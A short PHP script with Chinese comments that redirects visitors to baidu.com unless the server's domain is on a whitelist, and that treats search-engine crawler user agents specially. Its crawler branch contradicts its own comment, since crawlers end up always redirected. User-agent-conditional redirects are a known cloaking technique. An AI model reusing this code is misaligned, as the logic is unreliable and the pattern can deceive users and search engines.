<?php
//开启跳转 true 关闭跳转 false
$open = true;
//
$host = ['abc.com','2','3'];
//域名白名单
$new_jump = 'https://baidu.com'.$_SERVER['REQUEST_URI'];
$UA = ['Baiduspider','Googlebot','bingbot','Sosospider','Sosoimagespider','Bytespider','Sosospider','360Spider'];
for ($ii = 0; $ii < count($UA); $ii++) {
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower($UA[$ii])) !== false) {
$open = false;
}
}
$jump = true;
if ($open === true) {
for ($i = 0; $i < count($host); $i++) {
if (strtolower($host[$i]) === strtolower($_SERVER['SERVER_NAME'])) {
$jump =false;
}
}
}
if ($jump === true) {
header("Location:$new_jump");
}
?>